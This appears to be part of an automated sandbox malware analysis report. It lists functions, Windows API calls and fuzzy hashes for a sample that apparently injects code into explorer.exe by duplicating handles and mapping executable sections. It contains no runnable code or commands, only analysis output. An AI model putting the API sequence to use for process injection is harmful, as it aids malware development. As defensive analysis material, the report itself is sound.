SetFileTime.KERNEL32 ref: 07DC4AEC

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: File$AttributesCreateTime
String ID:
API String ID: 1986686026-0
Opcode ID: 608125a8aa1bce6175559d74748fb29477d2e5ca9ccfc86ce4b79151e6103723
Instruction ID: 21437e5a993724e9763630cfd4e1a810fc686cff4b05e509bb000d9c398629cf
Opcode Fuzzy Hash: 608125a8aa1bce6175559d74748fb29477d2e5ca9ccfc86ce4b79151e6103723
Instruction Fuzzy Hash: 4D21003071CA488FDF64EF68988879EB6E2FBDC705F10456EA85EC7245DA34DA058782

Function 07DC40A4 Relevance: 3.4, APIs: 2, Instructions: 447
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8d4c325c00e7065d788230daaf221fb62076a87581a91d4545f0ee69f183fa
Instruction ID: 8125b75ef5e52890d74d80edd5f396c9e4525de1f66d8d60fcfff18c63434b12
Opcode Fuzzy Hash: 2a8d4c325c00e7065d788230daaf221fb62076a87581a91d4545f0ee69f183fa
Instruction Fuzzy Hash: 44D1707071CB4A8FDB64EF68D45566EF7E2FB98701F20452DE44AD3241DE74E8028B86

Function 07DC4F28 Relevance: 3.1, APIs: 2, Instructions: 122
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExA.KERNEL32 ref: 07DC4FAD
ObtainUserAgentString.URLMON ref: 07DC5016

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: AgentObtainQueryStringUserValue
String ID:
API String ID: 4107646653-0
Opcode ID: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction ID: 2f66f77be33080188a5596695abcc9f9007aa49924134ccf5fdbb39410b86c05
Opcode Fuzzy Hash: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction Fuzzy Hash: 0B31A671608A498FDB18EF68E8896E9B7D5FB98310B10027EE84BD7145EE74D80647D1

Function 07DC1EB4 Relevance: 3.1, APIs: 2, Instructions: 121
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 07DC4DB8: GetVolumeInformationA.KERNEL32 ref: 07DC4E25

CreateMutexExA.KERNEL32 ref: 07DC1F27
CreateFileMappingA.KERNEL32 ref: 07DC1FD9

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: Create$FileInformationMappingMutexVolume
String ID:
API String ID: 3260430491-0
Opcode ID: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction ID: 327217043d6eab2122cece5a52630d927668a4d62e77a1a77e2ca00383b2f7a5
Opcode Fuzzy Hash: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction Fuzzy Hash: B1417FB0618F0DCFEB64EB3880187AEB6D1EB98316F504A2E905FD7240CF74A6029742

Function 08821EB4 Relevance: 3.1, APIs: 2, Instructions: 121
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 08824DB8: GetVolumeInformationA.KERNEL32 ref: 08824E25

CreateMutexExA.KERNEL32 ref: 08821F27
CreateFileMappingA.KERNEL32 ref: 08821FD9

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: Create$FileInformationMappingMutexVolume
String ID:
API String ID: 3260430491-0
Opcode ID: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction ID: f657260620f63d5d068b3738ebd9bc0aee7c472b69085f60cbb23f56d50bd8f8
Opcode Fuzzy Hash: 9e9a34ea7cb298080777c61faf39ef342cf239ea35ae18d0dbcb535cd23d3ff0
Instruction Fuzzy Hash: 93415E30718F18CFEB64EB38801C7AAB6D1EF98717F504A2E845ED6280CF7496469786

Function 07DC4B68 Relevance: 3.1, APIs: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE ref: 07DC4BBC
GetTokenInformation.KERNELBASE ref: 07DC4BF3

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 02c84281bba87b7899f42c3c535edb1c0a1e289461f07f6c867dc8d7767b6b06
Instruction ID: 2120afd9b566bcbc2cc3007eba8be9858b9c8a2ae954a57231bc2ae198dc18c3
Opcode Fuzzy Hash: 02c84281bba87b7899f42c3c535edb1c0a1e289461f07f6c867dc8d7767b6b06
Instruction Fuzzy Hash: 41215170208A098FC754EF28D49866AB7E1FFD8311B100A6EE59BC7264DA30E8459B82

Function 08824B68 Relevance: 3.1, APIs: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTokenInformation.KERNELBASE ref: 08824BBC
GetTokenInformation.KERNELBASE ref: 08824BF3

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 02c84281bba87b7899f42c3c535edb1c0a1e289461f07f6c867dc8d7767b6b06
Instruction ID: 1e2e394a73439cc5c04453030fdfdd22e5d27a713d73089db79fa245b971330b
Opcode Fuzzy Hash: 02c84281bba87b7899f42c3c535edb1c0a1e289461f07f6c867dc8d7767b6b06
Instruction Fuzzy Hash: 6F213134608A188FC754EF2CC49866AB7E1FFD9311B004A6EE49AC7364DA30E845DB82

Function 08823D1C Relevance: 3.1, APIs: 2, Instructions: 72
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 08823D3E
SleepEx.KERNEL32 ref: 08823DC0

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: CreateSleepSnapshotToolhelp32
String ID:
API String ID: 684154974-0
Opcode ID: 39ba45db73bafd81c11e774f87e0f4933b4a983672c3a76259ecfbbd9f04089f
Instruction ID: 7e2b4711f8a1771e1e209debb93b09fbd742ab164b18ac7552fa83737ce24d4b
Opcode Fuzzy Hash: 39ba45db73bafd81c11e774f87e0f4933b4a983672c3a76259ecfbbd9f04089f
Instruction Fuzzy Hash: 4421DA30214A09CFDB58EF24C0987AA72E2FB88316F140B7ED84FDA256DB3895858751

Function 07DC3DF8 Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumWindows.USER32 ref: 07DC3E14
SleepEx.KERNEL32 ref: 07DC3E1F

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: EnumSleepWindows
String ID:
API String ID: 498413330-0
Opcode ID: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction ID: 08428121806811503df9c7af9d6ce96656ace08b68336ac79912b76c8662c05c
Opcode Fuzzy Hash: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction Fuzzy Hash: 3EE04F7050460A8FEB68EFA5C0DCBB036A5EB18206F14017EDC0EDE285CB764945C721

Function 08823DF8 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 08823E14
SleepEx.KERNEL32 ref: 08823E1F

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: EnumSleepWindows
String ID:
API String ID: 498413330-0
Opcode ID: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction ID: baef126816707304295376df6fb4b8a488ca38ac4c410933db8fd6863cc98fb6
Opcode Fuzzy Hash: bcd33d68b26800d53c1a0055312e6970b5242bc1254dfeb745dd1bbf27494588
Instruction Fuzzy Hash: 2EE04F34504609CFEB68AFA5C0DCBB036A1EB18206F14017EDC0EEDA95CB7A4989C720

Function 088240A4 Relevance: 1.9, APIs: 1, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8d4c325c00e7065d788230daaf221fb62076a87581a91d4545f0ee69f183fa
Instruction ID: 0a79c32104296664d1beff6f7e6ddac28653b06f360d60dc9585437f73ecf952
Opcode Fuzzy Hash: 2a8d4c325c00e7065d788230daaf221fb62076a87581a91d4545f0ee69f183fa
Instruction Fuzzy Hash: A3D19130718B19CFDB54EF6CD4496AEB7E2FB98702F10452EE44AD3241DE74E8428B86

Function 0882202C Relevance: 1.7, APIs: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 088221AD

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7f063b496fdb5386f4a3bc3b38053528e15544823e1f82b1c44872616a46c509
Instruction ID: 1bf4e665700778fa748102314072d01097a4b13e97ba1142db020fcf7ea43f40
Opcode Fuzzy Hash: 7f063b496fdb5386f4a3bc3b38053528e15544823e1f82b1c44872616a46c509
Instruction Fuzzy Hash: F2414E20718A5C8FDBA8EF6C945876E75D2EBDC312F50053EA90EC7385CE389D468786

Function 07DC3414 Relevance: 1.7, APIs: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 07DC345A

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction ID: 207bb52b2c3e8c2fc534e70417cbb820f230b461ac4d45a2e781596e68bedbc9
Opcode Fuzzy Hash: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction Fuzzy Hash: BD41A27071CA0E4FD75CEA6C985937AF6C2FB88611F20422EA59FC3245DE64A81247C2

Function 08823414 Relevance: 1.7, APIs: 1, Instructions: 157fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0882345A

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction ID: 48dc950bd15750edd38ed53c529f111461fbc30ae4667018e7fdce7d8311ddfb
Opcode Fuzzy Hash: ce663faf5a716b1ca10baa4e22fa9f7e4c3774f53785b3b9c2244f163c36e0eb
Instruction Fuzzy Hash: E141D63071CF1D8FD79CAA2C9859379B6C2FB99622F10026E959FC3351DE28985343C2

Function 08824F28 Relevance: 1.6, APIs: 1, Instructions: 122registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32 ref: 08824FAD

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction ID: e548fa5e829056531e0432d92c000067f4de0b75f299bac7ea9d2a06fbd012fd
Opcode Fuzzy Hash: 1ee60c0f534f3764a8b7c02e3106e8c1bbbc8228cd7f8668cbf5d1b2e0d7aa71
Instruction Fuzzy Hash: 9D31C631608A58CFDB58EF6CD8896E977D1FB98321B00027EE84AC7685EE70D84687D1

Function 07DC4DB8 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 07DC4E25

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: b1dc968a53a67113d9f19c608549fb198ed32c9322c33b77876c40581a868fca
Instruction ID: 0c93ebcea3032cd0f0ee54dc6cf4861091421577ec2b777d5a3501917ac73218
Opcode Fuzzy Hash: b1dc968a53a67113d9f19c608549fb198ed32c9322c33b77876c40581a868fca
Instruction Fuzzy Hash: B6317930618A4C8FDB64EF28D448BAAB7E1FBD8311F10466E984FC7264DE30D945CB92

Function 08824DB8 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 08824E25

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: b1dc968a53a67113d9f19c608549fb198ed32c9322c33b77876c40581a868fca
Instruction ID: bab3da86d521e530facb340bf3927d5cd9b5695ce51e81a56b0453ac6f05aa6d
Opcode Fuzzy Hash: b1dc968a53a67113d9f19c608549fb198ed32c9322c33b77876c40581a868fca
Instruction Fuzzy Hash: F7313731618A4C8FDBA4EF68C458BAA77E1FBD8311F10466E984EC7264DE34D945CB82

Function 07DC1AA8 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 07DC1AF8: RtlCreateHeap.NTDLL ref: 07DC1C0F

SleepEx.KERNEL32(?,?,?,?,?,?,?,07DC1A9B), ref: 07DC1AC8

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeapSleep
String ID:
API String ID: 221814145-0
Opcode ID: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction ID: 9eabfb1628c6b1f63c3882c0bdcbc216c6ccfffbdf38e7d587a38a3e5d449889
Opcode Fuzzy Hash: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction Fuzzy Hash: 10E0DFE0314F0E8BDB98FBB8C5D472CE090EB88250F48057DE40EC7286D836C8824322

Function 08821AA8 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 08821AF8: RtlCreateHeap.NTDLL ref: 08821C0F

SleepEx.KERNEL32(?,?,?,?,?,?,?,08821A9B), ref: 08821AC8

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: CreateHeapSleep
String ID:
API String ID: 221814145-0
Opcode ID: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction ID: c5d26b14151a2b293504fd8e5011112bdd21e9542520fddee4ce07638b94d1ea
Opcode Fuzzy Hash: 9adc8d4cde1f516ddaa5c4750073014e5650bc8f10d33b0d75f43d3a0b67238f
Instruction Fuzzy Hash: 81E0DF18314F1C8BDB94BBBCC5C872D7090EB88252FA005BEA81FC62C5D825E8C14312

Non-executed Functions

Function 07DC2968 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fac0ba0fd63c2bd3756d508b4e923d710e7c255c2520c70d3ed946f0b978393
Instruction ID: 6eead597deb5c245915aa6fe469c33bfb51e49c3d8210cdf048b54c64a96720d
Opcode Fuzzy Hash: 0fac0ba0fd63c2bd3756d508b4e923d710e7c255c2520c70d3ed946f0b978393
Instruction Fuzzy Hash: D5D1A670718F0A8FDB64EF68849826EB6D2FB98301F60466ED44FC3255DF74E9068786

Function 08822968 Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fac0ba0fd63c2bd3756d508b4e923d710e7c255c2520c70d3ed946f0b978393
Instruction ID: 8bd41ca849f61d22a9a05767c9847120c18a533d46ffec72832543fd033f8d87
Opcode Fuzzy Hash: 0fac0ba0fd63c2bd3756d508b4e923d710e7c255c2520c70d3ed946f0b978393
Instruction Fuzzy Hash: FFD17530718F19CFCB68EF6C845826AB2D2FB98312F50466ED44EC3255DF74E9468785

Analysis Process: hehbwciPID: 2912, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	19.4%
Signature Coverage:	0%
Total number of Nodes:	144
Total number of Limit Nodes:	5

Executed Functions

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1cdcbea8673e3ba493c5bd81f578c50c028e74630b806944f59cf8ede5196817
Instruction ID: ffaca3094f7e189a6d1e876f152d3a102a579446f97b5118db7f8e4db1241ca1
Opcode Fuzzy Hash: 1cdcbea8673e3ba493c5bd81f578c50c028e74630b806944f59cf8ede5196817
Instruction Fuzzy Hash: FB613075A00204FBEB209F91CC49FAF7BB8EF85700F10412AF912BA1E5D7759941DB66

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c2bbe74deda3eb27cc46c97da06047b5daec93b008bb2466c6e516ff61897217
Instruction ID: bfc0b8c1e1aad88884ae744cc722ee3a04b4b25e2f03b0569bf5ee1b63965b96
Opcode Fuzzy Hash: c2bbe74deda3eb27cc46c97da06047b5daec93b008bb2466c6e516ff61897217
Instruction Fuzzy Hash: 34512B75900205BBEB209F91CC49FAF7BB8FF85B00F14412AF912BA2E5D7759941CB25

Function 00401561 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f5d4f3e6d24d18269c7d341504c2ba3eacb72c3278c0acdc5b4cfb2713eaeaae
Instruction ID: 412e9309e7daddaa9b19f32dddfbffbd79934f2f1d3bc440b9a7152e2b53a84f
Opcode Fuzzy Hash: f5d4f3e6d24d18269c7d341504c2ba3eacb72c3278c0acdc5b4cfb2713eaeaae
Instruction Fuzzy Hash: 235119B1900205BFEB209F91CC49FAF7BB8EF85B00F14412AF912BA2E5D7759941CB25

Function 0040156F Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8d7d0f05522378b87eb0e5b73b0488eef97448bc713828db65d76f104e18ff93
Instruction ID: 5723072b253cbae10e330d7def6e8ce5ab34414c0c11206194204dab9df800f9
Opcode Fuzzy Hash: 8d7d0f05522378b87eb0e5b73b0488eef97448bc713828db65d76f104e18ff93
Instruction Fuzzy Hash: 6A5109B1900205BBEB209F91CC49FAF7BB8EF85B00F144129FA11BA2E5D6759945CB24

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bd72895939b5cf7358d34c5469aba93b22efce73c39120c4875d5ae9870c0d64
Instruction ID: be4f3395432beacb56dc40f225edc855b7308e08cbc6b66c5e1fe0de6445bc19
Opcode Fuzzy Hash: bd72895939b5cf7358d34c5469aba93b22efce73c39120c4875d5ae9870c0d64
Instruction Fuzzy Hash: D6510BB1900205BBEB209F91CC49FAF7BB8EF85B00F14412AFA11BA2E5D7759945CB64

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000005.00000002.2103363796.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_hehbwci.jbxd

Similarity

